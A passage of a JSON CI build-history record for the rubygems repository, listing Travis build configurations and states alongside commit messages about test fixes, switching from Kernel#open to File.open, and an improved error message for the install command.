YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"failed","started_at":"2018-01-05T01:03:53Z","finished_at":"2018-01-05T01:32:13Z","duration":14182,"job_ids":[325276354,325276355,325276356,325276357,325276358,325276359,325276360,325276361,325276362,325276363,325276364,325276365,325276366,325276367,325276368,325276369,325276370,325276371,325276372,325276373,325276374]},{"id":325276144,"repository_id":2221,"commit_id":96616942,"number":"4470","event_type":"push","pull_request":false,"pull_request_title":null,"pull_request_number":null,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"passed","started_at":"2018-01-05T01:01:25Z","finished_at":"2018-01-05T01:28:40Z","duration":14318,"job_ids":[325276145,325276146,325276147,325276148,325276149,325276150,325276151,325276152,325276153,325276154,325276155,325276156,325276157,325276158,325276159,325276160,325276161,325276162,325276163,325276164,325276165]},{"id":324405551,"repository_id":2221,"commit_id":96365958,"number":"4469","event_type":"pull_request","pull_request":true,"pull_request_title":"Test fixes - fix intermittent tests, all testing done without hoe","pull_request_number":2139,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"passed","started_at":"2018-01-03T00:17:47Z","finished_at":"2018-01-03T00:44:41Z","duration":13309,"job_ids":[324405552,324405553,324405554,324405555,324405556,324405557,324405558,324405559,324405560,324405561,324405562,324405563,324405564,324405565,324405566,324405567,324405568,324405569,324405570,324405571,324405572]},{"id":323979446,"repository_id":2221,"commit_id":96254679,"number":"4468","event_type":"pull_request","pull_request":true,"pull_request_title":"Test fixes","pull_request_number":2138,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"passed","started_at":"2018-01-02T01:07:12Z","finished_at":"2018-01-02T01:32:32Z","duration":14108,"job_ids":[323979447,323979448,323979449,323979450,323979451,323979452,323979453,323979454,323979455,323979456,323979457,323979458,323979459,323979460,323979461,323979462,323979463,323979464,323979465,323979466,323979467]},{"id":323153503,"repository_id":2221,"commit_id":96089121,"number":"4467","event_type":"pull_request","pull_request":true,"pull_request_title":"Improve the error message given when using --version with multiple gems in the install command","pull_request_number":2137,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"passed","started_at":"2018-01-01T00:11:09Z","finished_at":"2018-01-01T00:12:29Z","duration":14811,"job_ids":[323153504,323153505,323153506,323153507,323153508,323153509,323153510,323153511,323153512,323153513,323153514,323153515,323153516,323153518,323153520,323153521,323153522,323153524,323153525,323153527,323153528]},{"id":323153282,"repository_id":2221,"commit_id":96089052,"number":"4466","event_type":"pull_request","pull_request":true,"pull_request_title":"Improve the error message given when using --version with multiple gems in the install command","pull_request_number":2137,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"passed","started_at":"2017-12-30T12:41:27Z","finished_at":"2017-12-30T13:08:14Z","duration":14554,"job_ids":[323153283,323153284,323153285,323153286,323153287,323153288,323153289,323153292,323153294,323153295,323153296,323153297,323153298,323153299,323153300,323153301,323153302,323153303,323153304,323153305,323153306]},{"id":323141753,"repository_id":2221,"commit_id":96085391,"number":"4465","event_type":"push","pull_request":false,"pull_request_title":null,"pull_request_number":null,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"passed","started_at":"2018-01-05T00:55:58Z","finished_at":"2018-01-05T00:58:40Z","duration":14666,"job_ids":[323141754,323141755,323141756,323141757,323141758,323141759,323141760,323141761,323141762,323141764,323141767,323141768,323141769,323141770,323141772,323141774,323141776,323141777,323141778,323141779,323141780]},{"id":323138463,"repository_id":2221,"commit_id":96084294,"number":"4464","event_type":"pull_request","pull_request":true,"pull_request_title":"titleize \"GETTING HELP\" in readme","pull_request_number":2136,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"failed","started_at":"2017-12-30T11:18:10Z","finished_at":"2017-12-30T11:37:23Z","duration":14547,"job_ids":[323138464,323138465,323138466,323138467,323138468,323138469,323138470,323138471,323138472,323138473,323138474,323138475,323138476,323138477,323138478,323138479,323138480,323138481,323138482,323138483,323138484]},{"id":322888820,"repository_id":2221,"commit_id":96008850,"number":"4463","event_type":"push","pull_request":false,"pull_request_title":null,"pull_request_number":null,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"passed","started_at":"2017-12-29T13:18:51Z","finished_at":"2017-12-29T13:44:44Z","duration":13704,"job_ids":[322888821,322888822,322888823,322888824,322888825,322888826,322888827,322888828,322888829,322888830,322888831,322888832,322888833,322888834,322888835,322888836,322888837,322888838,322888839,322888840,322888841]},{"id":322881788,"repository_id":2221,"commit_id":96006707,"number":"4462","event_type":"push","pull_request":false,"pull_request_title":null,"pull_request_number":null,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"passed","started_at":"2017-12-29T12:47:04Z","finished_at":"2017-12-29T13:18:16Z","duration":14030,"job_ids":[322881789,322881791,322881794,322881795,322881796,322881797,322881798,322881799,322881800,322881801,322881802,322881803,322881804,322881805,322881806,322881807,322881808,322881809,322881810,322881811,322881813]},{"id":322881762,"repository_id":2221,"commit_id":96006704,"number":"4461","event_type":"push","pull_request":false,"pull_request_title":null,"pull_request_number":null,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"failed","started_at":"2017-12-29T12:57:22Z","finished_at":"2017-12-29T13:19:08Z","duration":13350,"job_ids":[322881763,322881764,322881765,322881766,322881767,322881768,322881769,322881770,322881771,322881772,322881773,322881774,322881775,322881776,322881777,322881778,322881779,322881780,322881781,322881782,322881783]},{"id":322875837,"repository_id":2221,"commit_id":96004840,"number":"4460","event_type":"push","pull_request":false,"pull_request_title":null,"pull_request_number":null,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"passed","started_at":"2017-12-29T12:22:07Z","finished_at":"2017-12-29T12:46:16Z","duration":13791,"job_ids":[322875838,322875839,322875840,322875841,322875842,322875843,322875844,322875845,322875846,322875847,322875848,322875849,322875850,322875851,322875852,322875853,322875854,322875855,322875856,322875857,322875858]}],"commits":[{"id":96640711,"sha":"ee01b385e34da5f8894f31490d2901c6319ced29","branch":"2.7","tag":null,"message":"History","committed_at":"2017-12-25T08:47:13Z","author_name":"SHIBATA Hiroshi","author_email":"hsbt@ruby-lang.org","committer_name":"SHIBATA Hiroshi","committer_email":"hsbt@ruby-lang.org","compare_url":"https://github.com/rubygems/rubygems/compare/8944a6222426...ee01b385e34d","pull_request_number":null},{"id":96637576,"sha":"a5e9acadf7206873fc681a3eed61c64252353b7c","branch":"master","tag":null,"message":"Auto merge of #2142 - rubygems:use-file-open, r=hsbt\n\nUse `File.open` instead of `open`.\n\nThis change is not vulnerability fix. @hsbt and @shugo did audit this usage when CVE-2017-17405 was disclosed.\n\nBecause ruby core team will warn to use `Kernel#open` in standard libraries.\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","committed_at":"2018-01-05T06:59:04Z","author_name":"The Bundler Bot","author_email":"bot@bundler.io","committer_name":"The Bundler Bot","committer_email":"bot@bundler.io","compare_url":"https://github.com/rubygems/rubygems/compare/ba4bb1934e00...a5e9acadf720","pull_request_number":null},{"id":96635872,"sha":"a5e9acadf7206873fc681a3eed61c64252353b7c","branch":"auto","tag":null,"message":"Auto merge of #2142 - rubygems:use-file-open, r=hsbt\n\nUse `File.open` instead of `open`.\n\nThis change is not vulnerability fix. @hsbt and @shugo did audit this usage when CVE-2017-17405 was disclosed.\n\nBecause ruby core team will warn to use `Kernel#open` in standard libraries.\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","committed_at":"2018-01-05T06:59:04Z","author_name":"The Bundler Bot","author_email":"bot@bundler.io","committer_name":"The Bundler Bot","committer_email":"bot@bundler.io","compare_url":"https://github.com/rubygems/rubygems/compare/ba4bb1934e00...a5e9acadf720","pull_request_number":null},{"id":96635793,"sha":"ba4bb1934e00313d61db2c46ac705fd4938d6eb8","branch":"master","tag":null,"message":"Auto merge of #2141 - rubygems:backport-ruby-core, r=hsbt\n\nBackport ruby core changes for test fixes.\n\nRuby 2.6 will change the behavior of `$SAFE` variable.\n\nIt''s part of test fixes by @MSP-Greg like https://github.com/rubygems/rubygems/pull/2139","committed_at":"2018-01-05T06:28:08Z","author_name":"The Bundler Bot","author_email":"bot@bundler.io","committer_name":"The Bundler Bot","committer_email":"bot@bundler.io","compare_url":"https://github.com/rubygems/rubygems/compare/d487894c2e4f...ba4bb1934e00","pull_request_number":null},{"id":96634111,"sha":"ba4bb1934e00313d61db2c46ac705fd4938d6eb8","branch":"auto","tag":null,"message":"Auto merge of #2141 - rubygems:backport-ruby-core, r=hsbt\n\nBackport ruby core changes for test fixes.\n\nRuby 2.6 will change the behavior of `$SAFE` variable.\n\nIt''s part of test fixes by @MSP-Greg like https://github.com/rubygems/rubygems/pull/2139","committed_at":"2018-01-05T06:28:08Z","author_name":"The Bundler Bot","author_email":"bot@bundler.io","committer_name":"The Bundler Bot","committer_email":"bot@bundler.io","compare_url":"https://github.com/rubygems/rubygems/compare/d487894c2e4f...ba4bb1934e00","pull_request_number":null},{"id":96634034,"sha":"386be17e6a1f5b301ee28093e713de46b66e42d0","branch":"master","tag":null,"message":"Partly reverted to use File.open for bundler example.","committed_at":"2018-01-05T06:26:17Z","author_name":"SHIBATA Hiroshi","author_email":"hsbt@ruby-lang.org","committer_name":"SHIBATA Hiroshi","committer_email":"hsbt@ruby-lang.org","compare_url":"https://github.com/rubygems/rubygems/pull/2142","pull_request_number":2142},{"id":96629183,"sha":"b4129c7257525f6778f0d91d78f60dc9ecd739b8","branch":"master","tag":null,"message":"Added guard condition for remove_const","committed_at":"2018-01-05T04:37:05Z","author_name":"SHIBATA Hiroshi","author_email":"hsbt@ruby-lang.org","committer_name":"SHIBATA Hiroshi","committer_email":"hsbt@ruby-lang.org","compare_url":"https://github.com/rubygems/rubygems/pull/2141","pull_request_number":2141},{"id":96628624,"sha":"5f439ace0f9e1e8e8acdcce2e2c6fae6999ae8e6","branch":"master","tag":null,"message":"Use `File.open` instead of `open`.\n\n This change is not vulnerability fix. @hsbt and @shugo did audit these\n usage when CVE-2017-17405 was disclosed.","committed_at":"2018-01-05T03:17:56Z","author_name":"SHIBATA Hiroshi","author_email":"hsbt@ruby-lang.org","committer_name":"SHIBATA Hiroshi","committer_email":"hsbt@ruby-lang.org","compare_url":"https://github.com/rubygems/rubygems/pull/2142","pull_request_number":2142},{"id":96623708,"sha":"7a7d353dd2a402791119ce22beaffb4a6a41291e","branch":"master","tag":null,"message":"Fixed syntax error with ensure keyword with \u003c Ruby 2.5","committed_at":"2018-01-05T02:48:40Z","author_name":"SHIBATA Hiroshi","author_email":"hsbt@ruby-lang.org","committer_name":"SHIBATA Hiroshi","committer_email":"hsbt@ruby-lang.org","compare_url":"https://github.com/rubygems/rubygems/pull/2141","pull_request_number":2141},{"id":96621626,"sha":"d487894c2e4f3ace75a11e91323c9aca6716d15a","branch":"master","tag":null,"message":"Auto merge of #2137 - rubygems:colby/improve-errors, r=hsbt\n\nImprove the error message given when using --version with multiple gems in the install command\n\nSet the error message to now be:\n\n Can''t use --version with multiple gems. You can specify multiple gems with\n version requirements using `gem install ''my_gem:1.0.0'' ''my_other_gem:~\u003e2.0.0\n\nThis gives a more easily understood example of the argument format to\nuse in rubygems when installing multiple gems with versions constraints.\n\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","committed_at":"2018-01-05T01:28:44Z","author_name":"The Bundler Bot","author_email":"bot@bundler.io","committer_name":"The Bundler Bot","committer_email":"bot@bundler.io","compare_url":"https://github.com/rubygems/rubygems/compare/6b4cbbba4955...d487894c2e4f","pull_request_number":null},{"id":96619818,"sha":"ae769ba0f2406df6ad86931993304733b1da8d83","branch":"master","tag":null,"message":"Fixed syntax error with ensure keyword with \u003c Ruby 2.5","committed_at":"2018-01-05T01:44:13Z","author_name":"SHIBATA Hiroshi","author_email":"hsbt@ruby-lang.org","committer_name":"SHIBATA Hiroshi","committer_email":"hsbt@ruby-lang.org","compare_url":"https://github.com/rubygems/rubygems/pull/2141","pull_request_number":2141},{"id":96618855,"sha":"d487894c2e4f3ace75a11e91323c9aca6716d15a","branch":"auto","tag":null,"message":"Auto merge of #2137 - rubygems:colby/improve-errors, r=hsbt\n\nImprove the error message given when using --version with multiple gems in the install command\n\nSet the error message to now be:\n\n Can''t use --version with multiple gems. You can specify multiple gems with\n version requirements using `gem install ''my_gem:1.0.0'' ''my_other_gem:~\u003e2.0.0\n\nThis gives a more easily understood example of the argument format to\nuse in rubygems when installing multiple gems with versions constraints.\n\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","committed_at":"2018-01-05T01:28:44Z","author_name":"The Bundler Bot","author_email":"bot@bundler.io","committer_name":"The Bundler Bot","committer_email":"bot@bundler.io","compare_url":"https://github.com/rubygems/rubygems/compare/6b4cbbba4955...d487894c2e4f","pull_request_number":null},{"id":96618853,"sha":"6b4cbbba4955b37521afb4481d454211ca960271","branch":"master","tag":null,"message":"Auto merge of #2136 - rubygems:colby/readme-title-consistent, r=segiddins\n\ntitleize \"GETTING HELP\" in readme\n\nThis is a quick PR that just titleizes \"GETTING HELP\" from being all uppercase to make it consistent with the rest of the document.\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","committed_at":"2018-01-05T01:00:52Z","author_name":"The Bundler Bot","author_email":"bot@bundler.io","committer_name":"The Bundler Bot","committer_email":"bot@bundler.io","compare_url":"https://github.com/rubygems/rubygems/compare/986179676fa5...6b4cbbba4955","pull_request_number":null},{"id":96617020,"sha":"8b9ac2d79076cb80319c40f115589d3ae49ae747","branch":"master","tag":null,"message":"`$SAFE` as a process global state. [Feature #14250]\n\n* test/rubygems/test_gem.rb: do not set `$SAFE = 1`.\n\n* test/rubygems/test_gem_specification.rb: ditto.\n\ngit-svn-id: svn+ssh://ci.ruby-lang.org/ruby/trunk@61510 b2dd03c8-39d4-4d8f-98ff-823fe69b080e","committed_at":"2018-01-05T00:51:15Z","author_name":"ko1","author_email":"ko1@b2dd03c8-39d4-4d8f-98ff-823fe69b080e","committer_name":"SHIBATA Hiroshi","committer_email":"hsbt@ruby-lang.org","compare_url":"https://github.com/rubygems/rubygems/pull/2141","pull_request_number":2141},{"id":96616942,"sha":"6b4cbbba4955b37521afb4481d454211ca960271","branch":"auto","tag":null,"message":"Auto merge of #2136 - rubygems:colby/readme-title-consistent, r=segiddins\n\ntitleize \"GETTING HELP\" in readme\n\nThis is a quick PR that just titleizes \"GETTING HELP\" from being all uppercase to make it consistent with the rest of the document.\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","committed_at":"2018-01-05T01:00:52Z","author_name":"The Bundler Bot","author_email":"bot@bundler.io","committer_name":"The Bundler Bot","committer_email":"bot@bundler.io","compare_url":"https://github.com/rubygems/rubygems/compare/87e477e51c3a...6b4cbbba4955","pull_request_number":null},{"id":96365958,"sha":"3df98305d2c2954edc6e12ec3013fd9f4f0497a1","branch":"master","tag":null,"message":"appveyor.yml, Rakefile, util/ci","committed_at":"2018-01-03T00:05:16Z","author_name":"MSP-Greg","author_email":"MSP-Greg@users.noreply.github.com","committer_name":"MSP-Greg","committer_email":"MSP-Greg@users.noreply.github.com","compare_url":"https://github.com/rubygems/rubygems/pull/2139","pull_request_number":2139},{"id":96254679,"sha":"a70bef2a8e6c826cbb99eec529affb8130ad1309","branch":"master","tag":null,"message":"appveyor.yml, Rakefile, util/ci","committed_at":"2018-01-02T00:22:08Z","author_name":"MSP-Greg","author_email":"MSP-Greg@users.noreply.github.com","committer_name":"MSP-Greg","committer_email":"MSP-Greg@users.noreply.github.com","compare_url":"https://github.com/rubygems/rubygems/pull/2138","pull_request_number":2138},{"id":96089121,"sha":"542fb42fc7d32e06bfef8973840e807627747a7c","branch":"master","tag":null,"message":"Improve the error message given when using --version with multiple gems\nin the install command\n\nSet the error message to now be:\n\n Can''t use --version with multiple gems. You can specify multiple gems with\n version requirements using `gem install ''my_gem:1.0.0'' ''my_other_gem:~\u003e2.0.0\n\nThis gives a more easily understood example of the argument format to\nuse in rubygems when installing multiple gems with versions constraints.","committed_at":"2017-12-30T12:41:49Z","author_name":"Colby 